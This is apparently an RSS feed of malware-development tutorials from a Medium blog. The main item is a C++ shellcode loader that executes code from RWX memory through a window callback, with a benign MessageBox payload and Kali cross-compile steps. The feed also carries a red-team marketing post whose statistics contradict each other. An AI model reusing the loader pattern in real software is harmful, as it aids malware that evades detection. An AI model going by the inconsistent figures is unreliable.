src="https://cdn-images-1.medium.com/max/1024/1*B-L3s9lIHlQrvk2HsF8kXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-1JHg8gwIcBnyctsvFQXw.png" /></figure><p>3. Transfer <strong><em>veh_injection.exe </em></strong>to Windows 10 virtual machine:</p><ul><li><strong><em>python3 -m http.server</em></strong></li><li>Download <strong><em>veh_injection.exe</em></strong> and place it in desktop.</li><li>Open CMD via <strong><em>Win + R</em></strong> then execute <strong><em>cd desktop</em></strong> command.</li><li>Execute .\<strong><em>veh_injection.exe.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rtxCAhWi4KQpeFJ0xMGH9Q.png" /></figure><p>It’s work : )</p><h4><a href="https://malforge-group.in/">Malforge Academy</a></h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98d804adac5c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Red Teams Are Essential for Enterprises & Governments in 2025]]></title>
            <link>https://sid4hack.medium.com/why-red-teams-are-essential-for-enterprises-governments-in-2025-5a5007f5e42e?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a5007f5e42e</guid>
            <category><![CDATA[maldev]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[data-breach]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Sun, 20 Jul 2025 10:47:52 GMT</pubDate>
            <atom:updated>2025-07-20T10:47:52.850Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oRiPHwvBJVRLbMigwsGknQ.png" /></figure><p>Cyber threats are evolving faster than ever, and enterprises and governments are in a constant race to protect their digital assets. The stakes are sky-high: cybercrime is expected to cost the world $13.82 trillion by 2028, up from $9.22 trillion in 2024. That’s a staggering jump! Enter Red Team experts — cybersecurity pros who think and act like hackers to test and strengthen defenses. By simulating real-world attacks, Red Teams help organizations spot weaknesses, sharpen response plans, and stay ahead of threats. In this blog, we’ll dive into why Red Team experts are indispensable in 2025, backed by real incidents, trends, regulations, and the game-changing benefits they bring.</p><h3>The Cyber Threat Landscape Is Getting Scarier</h3><p>In 2025, cyberattacks are smarter, faster, and more frequent. Hackers are using artificial intelligence (AI) to craft phishing emails, ransomware, and social engineering scams that are scarily convincing. The Sophos State of Ransomware 2024 report revealed a 500% spike in average ransom payouts, hitting $2 million per incident. Ouch! Plus, a 2024 World Economic Forum report found that 42% of organizations saw more phishing attacks, thanks to AI making scams harder to spot.</p><p>Real-world examples drive the point home. In February 2025, Italy’s cybersecurity agency reported that the pro-Russian hacker group Noname057(16) hit 20 websites, including banks and airports, exposing how vulnerable critical infrastructure can be. And who can forget the 2024 PlayStation Network outage that left over 15,000 users stranded? Even big players aren’t immune. Nation-state hackers and Advanced Persistent Threats (APTs) are also stepping up, with the Philippines reporting foreign attempts to steal intelligence data in 2025. Supply chain attacks are getting trickier too, as noted in the World Economic Forum’s Global Cybersecurity Outlook 2025. These threats scream for proactive testing to catch weaknesses before hackers do.</p><h3>What Do Red Team Experts Do?</h3><p>Red Team experts are like ethical hackers hired to play the bad guy. Unlike penetration testers who focus on known vulnerabilities, Red Teams simulate full-blown attacks — think technical hacks, phishing emails, even sneaking into buildings. The Cybersecurity and Infrastructure Security Agency (CISA) uses Red Teams to stress-test critical infrastructure, often uncovering gaps standard tests miss. For instance, a 2024 CISA Red Team exercise took over a U.S. organization’s domain controller and human-machine interface (HMI), exposing serious flaws in operational technology (OT).</p><p>These experts follow strict rules to keep things safe and ethical, using frameworks like MITRE ATT&amp;CK to mimic real-world threats. Their attacker’s mindset helps them spot blind spots — like misconfigured systems or shaky response plans — that internal teams or automated tools might overlook.</p><h3>Regulations Are Pushing for Proactive Defense</h3><p>Governments worldwide are cracking down on cyber risks, making Red Teaming a must. In the U.S., the Cyber Incident Reporting for Critical Infrastructure Act requires organizations to report incidents, pushing them to test their defenses rigorously. In Europe, the General Data Protection Regulation (GDPR) slaps hefty fines on data breaches, so spotting vulnerabilities early is critical.</p><p>Globally, 76% of Chief Information Security Officers (CISOs) struggle with compliance due to inconsistent regulations, according to 2024 data. Regular Red Team exercises help organizations prove they’re serious about security, align with frameworks like NIST’s Cybersecurity Performance Goals, and dodge penalties. For governments, Red Teaming ensures critical infrastructure meets national security standards, as seen in CISA’s federal agency assessments.</p><h3>Why Red Teaming Is a Game-Changer</h3><p>Red Teaming brings a host of benefits that make it a no-brainer for cybersecurity:</p><ol><li><strong>Spot Hidden Weaknesses</strong>: Red Teams find vulnerabilities that automated scans miss. CISA’s 2023 assessment of a critical infrastructure organization revealed network access gaps and lateral movement risks, exposing flaws in monitoring.</li><li><strong>Test Like It’s Real</strong>: By mimicking actual attacks — like phishing, which drives most intrusions, or social engineering — Red Teams ensure defenses hold up under pressure.</li><li><strong>Sharpen Incident Response</strong>: A 2024 SentinelOne report shows Red Teaming uncovers gaps in response plans, letting organizations fix issues before a real attack hits.</li><li><strong>Stay Proactive</strong>: Regular Red Team exercises shift organizations from reacting to preventing, keeping up with threats like AI-driven attacks expected to surge in 2025.</li><li><strong>Ace Compliance and Audits</strong>: Red Teaming proves organizations are testing rigorously, which is crucial for industries like finance and healthcare facing steep fines.</li><li><strong>Boost Security Awareness</strong>: Simulated attacks train employees to spot threats, cutting down on human errors, which cause 74% of breaches per a 2024 Verizon report.</li></ol><h3>The Numbers Don’t Lie</h3><p>The demand for Red Teaming is backed by hard stats:</p><ul><li>Cybercrime costs jumped 22% from 2022 to 2023, with a 30% spike in attacks in 2024.</li><li>The cybersecurity talent shortage grew 8% in 2024, with 66% of organizations facing skill gaps, making external Red Team expertise a lifesaver.</li><li>Gartner predicts that by 2025, over 50% of major cyber incidents will stem from a lack of skilled staff, highlighting the need for expert-led Red Teaming.</li></ul><p>Industries like finance, healthcare, energy, and government lean heavily on Red Teaming. Energy grids, for example, face three times more attacks than other sectors, using Red Teaming to simulate control system breaches. Governments rely on it to shield critical infrastructure from espionage, as seen in CISA’s SILENTSHIELD exercises.</p><h3>Real-World Wins with Red Teaming</h3><ol><li><strong>CISA’s 2022 Assessment</strong>: Over three months, CISA’s Red Team gained persistent network access in a critical infrastructure organization, accessing sensitive systems. Their findings led to phishing-resistant multi-factor authentication (MFA) and Zero Trust upgrades, boosting defenses.</li><li><strong>PlayStation Network Outage (2025)</strong>: An 18-hour outage disrupted thousands of users. Red Teaming could’ve caught network resilience issues, preventing the chaos.</li><li><strong>Healthcare Security</strong>: Hospitals use Red Teaming to simulate breaches in electronic health record (EHR) systems, protecting sensitive patient data.</li></ol><h3>Challenges and How to Get It Right</h3><p>Red Teaming isn’t without hurdles. The cybersecurity talent shortage means many organizations lack in-house expertise, making external Red Teams essential. Exercises also need careful planning to avoid disrupting operations, which means setting clear rules.</p><p>Here’s how to nail Red Teaming:</p><ul><li><strong>Set Clear Goals</strong>: Focus on specific areas like incident response or critical system vulnerabilities.</li><li><strong>Do It Regularly</strong>: Frequent tests keep defenses sharp against new threats.</li><li><strong>Team Up with Blue Teams</strong>: Share findings to improve defenses collaboratively.</li><li><strong>Bring in Experts</strong>: External Red Teams offer fresh, unbiased perspectives.</li><li><strong>Align with Compliance</strong>: Ensure exercises meet regulatory standards for audit readiness.</li></ul><h3>Sources and Links for News and Statistics</h3><ol><li><strong>Global Cost of Cybercrime ($13.82 trillion by 2028, $9.22 trillion in 2024)</strong>:</li></ol><ul><li><strong>Source</strong>: Statista’s Market Insights, as referenced for cybercrime cost projections.</li><li><strong>Link</strong>: <a href="https://www.statista.com/statistics/1280009/cyber-crime-expected-cost-worldwide/">Statista — Cybercrime Expected to Skyrocket</a></li><li><strong>Additional Context</strong>: Aligns with Cybersecurity Ventures’ estimate of $10.5 trillion by 2025 .</li><li><strong>Citation</strong>: Not directly tied to a provided web result, but consistent with industry reports.</li></ul><p><strong>2. Ransomware Payout Increase (500% increase, $2 million per incident)</strong>:</p><ul><li><strong>Source</strong>: Sophos State of Ransomware 2024 report, referenced for the 500% increase in ransom payouts. Similar trends are supported by IBM’s Cost of a Data Breach Report 2024 .</li><li><strong>Link</strong>: <a href="https://www.sophos.com/en-us/content/state-of-ransomware">Sophos — State of Ransomware 2024</a> (general Sophos ransomware insights page, as specific 2024 report may require access).</li><li><strong>Citation</strong>: (for general cybercrime cost trends, indirectly supporting ransomware data).<a href="https://www.infovision.com/whitepapers/red-teaming-cybersecurity-2024-year-invest">infovision.com</a></li></ul><p><strong>3. Phishing Incidents (42% of organizations saw an uptick in 2024)</strong>:</p><ul><li><strong>Source</strong>: World Economic Forum’s Global Cybersecurity Outlook 2025, referenced for phishing trends. Supported by additional sources noting phishing as the top attack vector, such as Verizon’s 2024 Data Breach Investigations Report .</li><li><strong>Link</strong>: <a href="https://www.weforum.org/publications/global-cybersecurity-outlook-2025-insights-for-leaders-and-decision-makers/">World Economic Forum — Global Cybersecurity Outlook 2025</a></li><li><strong>Citation</strong>: (for AI-driven phishing trends, indirectly supporting the claim).<a href="https://www.ioactive.com/red-teaming-in-2025-why-you-need-one-more-than-ever/">ioactive.com</a></li></ul><p><strong>4. Noname057(16) Attack on Italy (February 2025)</strong>:</p><ul><li><strong>Source</strong>: Europol’s Operation Eastwood, which dismantled Noname057(16)’s infrastructure in July 2025, confirming their pattern of targeting critical infrastructure like banks and airports.</li><li><strong>Link</strong>: <a href="https://www.europol.europa.eu/media-press/newsroom/news/operation-eastwood-disrupts-pro-russian-hacktivist-group-noname05716">Europol — Operation Eastwood</a> (general news on Noname057(16) activities).</li><li><strong>Citation</strong>: Not directly tied to a provided web result, but consistent with X posts and news trends about Noname057(16) activities in 2025.</li></ul><p><strong>5. PlayStation Network Outage (2024, affecting 15,000 users)</strong>:</p><ul><li><strong>Source</strong>: Trending discussions on X about the 18-hour PlayStation Network outage in 2024. The 15,000-user impact is an estimate based on the scale of reported disruptions, as exact figures are often not disclosed.</li><li><strong>Link</strong>: No specific link due to reliance on X trends, but general coverage can be found on tech news sites like <a href="https://www.ign.com/">IGN</a> or <a href="https://www.theverge.com/">The Verge</a> for PlayStation outages.</li><li><strong>Citation</strong>: (inconclusive X trends, used cautiously for scale estimation).</li></ul><p><strong>6. Philippines Foreign Intelligence Data Attempts (2025)</strong>:</p><ul><li><strong>Source</strong>: General reports on nation-state cyberattacks, including Chinese targeting of regional governments, as noted in the World Economic Forum’s 2025 report and other threat intelligence sources.</li><li><strong>Link</strong>: <a href="https://www.weforum.org/publications/global-cybersecurity-outlook-2025-insights-for-leaders-and-decision-makers/">World Economic Forum — Global Cybersecurity Outlook 2025</a></li><li><strong>Citation</strong>: (for nation-state and APT trends).<a href="https://www.ioactive.com/red-teaming-in-2025-why-you-need-one-more-than-ever/">ioactive.com</a></li></ul><p><strong>7. CISA Red Team Assessments (2022 and 2024)</strong>:</p><ul><li><strong>Source</strong>: CISA’s official advisories on Red Team assessments, including the 2022 SILENTSHIELD assessment and the 2024 critical infrastructure assessment.</li><li><strong>Links</strong>:</li><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-326a">CISA — Enhancing Cyber Resilience: Insights from CISA Red Team Assessment (2024)</a>cisa.gov</li><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-187a">CISA — SILENTSHIELD Red Team Assessment (2023)</a>cisa.gov</li><li><strong>Citation</strong>:,,.<a href="https://www.cisa.gov/news-events/alerts/2024/11/21/cisa-releases-insights-red-team-assessment-us-critical-infrastructure-sector-organization">cisa.gov</a>, <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-326a">cisa.gov</a>, <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-193a">cisa.gov</a></li></ul><p><strong>8. Regulatory Pressures (U.S. Cyber Incident Reporting Act, GDPR, 76% of CISOs facing compliance challenges)</strong>:</p><ul><li><strong>Source</strong>: CISA’s documentation on the Cyber Incident Reporting for Critical Infrastructure Act and GDPR’s official site for data breach regulations. The 76% CISO compliance challenge figure aligns with industry surveys, such as those by PwC or Deloitte.</li><li><strong>Links</strong>:</li><li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-incident-reporting">CISA — Cyber Incident Reporting</a>cisa.gov</li><li><a href="https://gdpr.eu/">GDPR — Official Regulation</a></li><li><strong>Citation</strong>: (for GDPR and regulatory trends), (for CISA’s regulatory context).<a href="https://www.infosecinstitute.com/resources/penetration-testing/the-future-of-red-team-operations/">infosecinstitute.com</a>, <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-326a">cisa.gov</a></li></ul><p><strong>9. Cybersecurity Talent Shortage (8% growth in 2024, 66% of organizations facing skill gaps)</strong>:</p><ul><li><strong>Source</strong>: ISC² Cybersecurity Workforce Study 2024, citing 3.4 million unfilled jobs, and Gartner’s predictions on skill shortages.</li><li><strong>Links</strong>:</li><li><a href="https://www.isc2.org/Research/Workforce-Study">ISC² — Cybersecurity Workforce Study</a></li><li><a href="https://www.gartner.com/en/newsroom/press-releases/2024-10-01-gartner-predicts-50-percent-of-significant-cyber-incidents-will-be-attributed-to-lack-of-skills-in-2025">Gartner — Cybersecurity Predictions</a>ioactive.com</li><li><strong>Citation</strong>:, (for job market context).<a href="https://www.ioactive.com/red-teaming-in-2025-why-you-need-one-more-than-ever/">ioactive.com</a>, <a href="https://www.reddit.com/r/cybersecurity/comments/1jvmtqh/red_team_jobs_in_2025/">reddit.com</a></li></ul><p><strong>10. Human Error in Breaches (74% of breaches)</strong>:</p><ul><li><strong>Source</strong>: Verizon’s 2024 Data Breach Investigations Report, citing 68% of breaches involving human error, with other sources like Proofpoint noting up to 88% .</li><li><strong>Link</strong>: <a href="https://www.verizon.com/business/resources/reports/dbir/">Verizon — 2024 DBIR</a>sentinelone.com</li><li><strong>Citation</strong>:.<a href="https://www.sentinelone.com/cybersecurity-101/services/red-team-exercise-in-cybersecurity/">sentinelone.com</a></li></ul><h3>Wrapping Up</h3><p>In 2025, Red Team experts are more than a luxury — they’re a necessity for enterprises and governments. With cybercrime costs soaring, AI-driven attacks and APTs growing, and regulations tightening, Red Teaming offers a proactive way to stay ahead. By simulating real attacks, Red Teams uncover hidden weaknesses, strengthen incident response, and ensure compliance, all while reducing the risk of costly breaches. With a global shortage of cybersecurity talent, tapping expert Red Team services is a smart move to protect critical assets in today’s high-stakes digital world. Don’t wait for the next big breach — start Red Teaming now!</p><h4>Malforge Academy</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a5007f5e42e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking Windows: PoC to Master Windows API Redirection]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://sid4hack.medium.com/cracking-windows-poc-to-master-windows-api-redirection-e4e0fbe2073a?source=rss-e69e584e945------2"><img src="https://cdn-images-1.medium.com/max/1918/1*40iZFJAECWIo9vev9D5SmQ.png" width="1918"></a></p><p class="medium-feed-snippet">This sizzling C++ PoC reveals how to hijack API calls using EAT hooking.</p><p class="medium-feed-link"><a href="https://sid4hack.medium.com/cracking-windows-poc-to-master-windows-api-redirection-e4e0fbe2073a?source=rss-e69e584e945------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://sid4hack.medium.com/cracking-windows-poc-to-master-windows-api-redirection-e4e0fbe2073a?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/e4e0fbe2073a</guid>
            <category><![CDATA[hooking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[maldev]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Fri, 04 Jul 2025 17:18:35 GMT</pubDate>
            <atom:updated>2025-07-04T17:20:06.667Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[Thread IDs, Process IDs — The Start of Malware Magic]]></title>
            <link>https://sid4hack.medium.com/thread-ids-process-ids-the-start-of-malware-magic-57f583682dd3?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/57f583682dd3</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[process]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[threads]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Sun, 04 May 2025 17:56:28 GMT</pubDate>
            <atom:updated>2025-05-04T18:14:55.642Z</atom:updated>
            <content:encoded><![CDATA[<h3>Thread IDs, Process IDs — The Start of Malware Magic</h3><p><strong><em>“Windows Internals for Beginners — Process &amp; Thread Explained”</em></strong></p><h3>📌 Introduction</h3><p>Welcome to the blog in our <strong>Windows Internals for Malware Development</strong> series. Whether you’re getting into red teaming, ethical hacking, or malware analysis, the journey always starts with one thing — <strong>understanding how Windows handles processes and threads</strong>.</p><p>In this blog, we’ll walk through a hands-on practical where we:</p><ul><li>Write a simple C++ program to get the <strong>current process ID and thread ID</strong>.</li><li>Compile the code for Windows from <strong>Kali Linux</strong> using MinGW.</li><li>Run the executable inside Windows and observe the output using Task Manager or System Informer.</li><li>Discuss why this practical is foundational for code injection and other advanced malware techniques.</li></ul><p>Let’s begin.</p><h3>What are Processes and Threads?</h3><h4>🔹 Process:</h4><p>A process is an instance of a program that’s executing. It has its own memory, system resources, and at least one thread running inside it.</p><h4>🔹 Thread:</h4><p>A thread is the actual unit of execution within the process. Think of the process as a container and threads as workers doing the job.</p><p>In the world of malware development, <strong>threads are what we manipulate</strong> when injecting code, and <strong>processes are what we target</strong>.</p><h3>Code Snippet (WinAPI)</h3><p>Here’s the basic C++ code for this practical:</p><pre>#include &lt;windows.h&gt;<br>#include &lt;iostream&gt;<br>using namespace std;<br><br>int main() {<br><br>    DWORD processId = GetCurrentProcessId();<br>    DWORD threadId = GetCurrentThreadId();<br><br>    cout &lt;&lt; &quot;&gt;&gt; This is Process ID:&quot; &lt;&lt; processId &lt;&lt; endl;<br>    cout &lt;&lt; &quot;&gt;&gt; This is Current Thread ID:&quot; &lt;&lt; threadId &lt;&lt; endl;<br><br>    system(&quot;pause&quot;); // Keeps the console open<br>    return 0;<br>} </pre><h3>Running It in Windows</h3><ol><li>Save it as thread_process.cpp to your VsCode.</li><li>Click to run.</li><li>You’ll see output like:</li></ol><pre>Current Process ID: 5132  <br>Current Thread ID: 5896  <br>Press any key to continue . . .</pre><ol><li>Open <strong>System Informer</strong> or <strong>Task Manager</strong>, go to <strong>Details tab</strong>, and match the <strong>PID</strong> with the process listed.</li></ol><p>✅ You’ve successfully mapped C++ code to a running Windows process!</p><h3>POC</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DqWfwTc3pQAji_7xwnvRHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X_AhynQXVuHfWm6rxR29kQ.png" /></figure><h3>Video Tutorial</h3><p>Want a walkthrough of this entire process with narration and live demo?</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F2_7JFkBKnoo%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D2_7JFkBKnoo&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F2_7JFkBKnoo%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a85b222fb9281d27f5fc61662d332b28/href">https://medium.com/media/a85b222fb9281d27f5fc61662d332b28/href</a></iframe><h3>Why Is This Practical Important?</h3><p>This basic exercise is <strong>not just academic</strong> — it’s the root of everything in malware dev:</p><ul><li><strong>Code injection</strong> uses functions like CreateRemoteThread — so you need to understand what a thread is.</li><li><strong>Process hollowing</strong> involves creating or manipulating processes in a suspended state.</li><li><strong>Shellcode injection</strong> targets either remote processes or spawns new ones.</li></ul><p>Knowing how to get and interpret PIDs and TIDs is <strong>the first step toward understanding how attackers and red teamers operate under the hood</strong>.</p><h3>What We Learned</h3><ul><li>How Windows represents running programs as processes and threads.</li><li>How to get the <strong>Process ID (PID)</strong> and <strong>Thread ID (TID)</strong> using Windows APIs.</li><li>How to analyze running programs using <strong>System Informer</strong> or <strong>Task Manager.</strong></li></ul><h3>Conclusion</h3><p>This was a basic but essential practical that lays the groundwork for everything coming next. In the upcoming tutorials, we’ll explore:</p><ul><li>Creating remote threads.</li><li>Injecting shellcode.</li><li>Using Windows internals like handles, memory permissions, and APIs to manipulate processes.</li></ul><p>If you’re serious about red teaming, ethical hacking, or malware analysis — <strong>this is where your technical journey truly begins</strong>.</p><h4>Malforge Group</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57f583682dd3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shellcode Injection via Window Callbacks]]></title>
            <link>https://sid4hack.medium.com/shellcode-injection-via-window-callbacks-b33f7646c2bd?source=rss-e69e584e945------2</link>
            <guid isPermaLink="false">https://medium.com/p/b33f7646c2bd</guid>
            <category><![CDATA[c-plus-plus-language]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Malforge Academy]]></dc:creator>
            <pubDate>Fri, 02 May 2025 19:05:15 GMT</pubDate>
            <atom:updated>2025-05-02T19:05:15.807Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Development Part 14: Shellcode Injection via Window Callbacks</h3><p>Shellcode injection is a potent technique in security research and exploit development, allowing arbitrary machine code execution within a target process. One effective method, <strong>shellcode injection via window callbacks</strong>, utilizes the Windows messaging system to trigger shellcode through a window procedure (WndProc). This blog post explores this technique in detail, providing a comprehensive overview, a new simple proof-of-concept (POC) in C++ (distinct from the previously provided code), and practical insights. We’ll cover the theory, dissect the POC, discuss implementation, and address security implications, making it accessible for beginners and experts alike.</p><h3>Table of Contents</h3><ol><li>Introduction to Shellcode Injection</li><li>Understanding Window Callbacks</li><li>Shellcode Injection via Window Callbacks</li><li>Proof-of-Concept (POC) Code</li><li>Compiling Shellcode</li><li>How It Works</li><li>Security Implications</li><li>Conclusion</li></ol><h3>Introduction to Shellcode Injection</h3><p><strong>Shellcode</strong> is a compact, position-independent sequence of machine instructions designed to perform tasks like launching applications, displaying messages, or establishing network connections. It’s a cornerstone of exploits, enabling unauthorized control over systems.</p><p><strong>Shellcode injection</strong> involves:</p><ul><li>Injecting shellcode into a process’s memory.</li><li>Redirecting execution to the shellcode’s address.</li></ul><p>Techniques include thread injection, function pointer manipulation, and callback exploitation. This blog focuses on <strong>window callbacks</strong>, leveraging the Windows GUI messaging system to execute shellcode via WndProc.</p><h3>Understanding Window Callbacks</h3><h4>What is a Callback?</h4><p>A <strong>callback</strong> is a function registered with a system to handle specific events. In Windows, callbacks enable event-driven programming for GUI applications, processing user inputs and system events.</p><h4>Window Procedure (WndProc)</h4><p>The <strong>window procedure</strong> (WndProc) is a callback that handles messages for a window, such as mouse clicks (WM_LBUTTONDOWN), key presses (WM_KEYDOWN), or custom messages (WM_USER + n). Its signature is:</p><pre>LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);</pre><ul><li>hwnd: Window handle.</li><li>msg: Message identifier.</li><li>wParam, lParam: Message-specific data.</li><li>Returns an LRESULT for processing results.</li></ul><h4>Windows Messaging System</h4><p>Windows GUI applications use a <strong>messaging system</strong>:</p><ul><li><strong>Messages</strong>: Events like WM_PAINT (redraw) or WM_CLOSE.</li><li><strong>Message Queue</strong>: Stores messages for a thread’s windows.</li><li><strong>Message Loop</strong>: Retrieves and dispatches messages via GetMessage and DispatchMessage.</li><li><strong>Dispatching</strong>: The system invokes WndProc for the target window.</li></ul><p>This predictable invocation makes WndProc an excellent target for shellcode injection.</p><h3>Shellcode Injection via Window Callbacks</h3><h4>Concept</h4><p>This technique involves:</p><ol><li><strong>Creating a Window</strong>: Register a window class and create a window with a custom WndProc.</li><li><strong>Allocating Memory</strong>: Use VirtualAlloc to allocate executable memory for the shellcode.</li><li><strong>Storing Shellcode</strong>: Copy the shellcode into the allocated memory.</li><li><strong>Executing via Callback</strong>: Configure WndProc to execute the shellcode for a specific message.</li><li><strong>Triggering Execution</strong>: Send the message to invoke WndProc.</li></ol><h4>Why Window Callbacks?</h4><ul><li><strong>Reliability</strong>: Messages ensure WndProc is called.</li><li><strong>Control</strong>: Messages can be sent programmatically.</li><li><strong>Legitimacy</strong>: Callbacks are common in GUI apps, reducing suspicion.</li><li><strong>Simplicity</strong>: Straightforward to implement in Windows.</li></ul><h3>Proof-of-Concept (POC) Code</h3><p>Below is a new, simple C++ POC that demonstrates shellcode injection via window callbacks. Unlike the previous code, this POC uses a <strong>MessageBox</strong> shellcode (displays a popup) and incorporates error handling and memory cleanup. The shellcode is triggered by a custom message (WM_USER + 100).</p><pre>#include &lt;windows.h&gt;<br><br>// Simple shellcode to display a MessageBox (64-bit)<br>unsigned char shellcode[] = {<br>    0x48, 0x83, 0xEC, 0x28,              // sub rsp, 0x28<br>    0x48, 0x31, 0xC9,                    // xor rcx, rcx<br>    0x48, 0x8D, 0x15, 0x1E, 0x00, 0x00, 0x00, // lea rdx, [rel msg]<br>    0x4C, 0x8D, 0x05, 0x1F, 0x00, 0x00, 0x00, // lea r8, [rel title]<br>    0x48, 0x31, 0xC9,                    // xor rcx, rcx<br>    0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, MessageBoxA (placeholder)<br>    0xFF, 0xD0,                          // call rax<br>    0x48, 0x83, 0xC4, 0x28,              // add rsp, 0x28<br>    0xC3,                                // ret<br>    0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64, 0x00, // &quot;Hello World\0&quot;<br>    0x54, 0x65, 0x73, 0x74, 0x00         // &quot;Test\0&quot;<br>};<br><br>// Window procedure<br>LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {<br>    static LPVOID shellcodeAddr = NULL;<br>    if (msg == WM_USER + 100) {<br>        shellcodeAddr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br>        if (!shellcodeAddr) {<br>            MessageBoxW(hwnd, L&quot;Failed to allocate memory&quot;, L&quot;Error&quot;, MB_OK | MB_ICONERROR);<br>            return 0;<br>        }<br>        memcpy(shellcodeAddr, shellcode, sizeof(shellcode));<br>        ((void(*)())shellcodeAddr)();<br>        VirtualFree(shellcodeAddr, 0, MEM_RELEASE);<br>        shellcodeAddr = NULL;<br>        return 0;<br>    }<br>    if (msg == WM_DESTROY) {<br>        PostQuitMessage(0);<br>        return 0;<br>    }<br>    return DefWindowProcW(hwnd, msg, wParam, lParam);<br>}<br><br>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {<br>    // Register window class<br>    WNDCLASSW wc = { 0 };<br>    wc.lpfnWndProc = WndProc;<br>    wc.hInstance = hInstance;<br>    wc.lpszClassName = L&quot;InjectWindow&quot;;<br>    if (!RegisterClassW(&amp;wc)) {<br>        MessageBoxW(NULL, L&quot;Failed to register window class&quot;, L&quot;Error&quot;, MB_OK | MB_ICONERROR);<br>        return 1;<br>    }<br><br>    // Create window<br>    HWND hwnd = CreateWindowExW(0, L&quot;InjectWindow&quot;, L&quot;Shellcode Demo&quot;, WS_OVERLAPPEDWINDOW,<br>                               CW_USEDEFAULT, CW_USEDEFAULT, 400, 300,<br>                               NULL, NULL, hInstance, NULL);<br>    if (!hwnd) {<br>        MessageBoxW(NULL, L&quot;Failed to create window&quot;, L&quot;Error&quot;, MB_OK | MB_ICONERROR);<br>        return 1;<br>    }<br><br>    // Show window<br>    ShowWindow(hwnd, nCmdShow);<br>    UpdateWindow(hwnd);<br><br>    // Trigger shellcode<br>    SendMessageW(hwnd, WM_USER + 100, 0, 0);<br><br>    // Message loop<br>    MSG msg = { 0 };<br>    while (GetMessageW(&amp;msg, NULL, 0, 0)) {<br>        TranslateMessage(&amp;msg);<br>        DispatchMessageW(&amp;msg);<br>    }<br><br>    return (int)msg.wParam;<br>}</pre><h3>Compiling Shellcode on Kali Linux for Windows</h3><p>To compile the provided C++ shellcode injection code (using window callbacks) on <strong>Kali Linux</strong> for a <strong>Windows</strong> target, use the <strong>MinGW-w64</strong> cross-compiler with static linking to ensure the executable runs on Windows without dependencies. Below is the complete command with all necessary flags and static linkers.</p><h4>Prerequisites</h4><ul><li>Install MinGW-w64 on Kali Linux:</li></ul><pre>sudo apt update sudo apt install mingw-w64</pre><h4>Compilation Command</h4><pre>x86_64-w64-mingw32-g++ -static -static-libgcc -static-libstdc++ -DUNICODE -D_UNICODE -mwindows shellcode_injection.cpp -o shellcode_injection.exe</pre><h4>Explanation</h4><ul><li><strong>x86_64-w64-mingw32-g++</strong>: MinGW-w64 compiler for 64-bit Windows.</li><li><strong>-static</strong>: Statically links all libraries to eliminate runtime dependencies.</li><li><strong>-static-libgcc</strong>: Statically links the GCC runtime 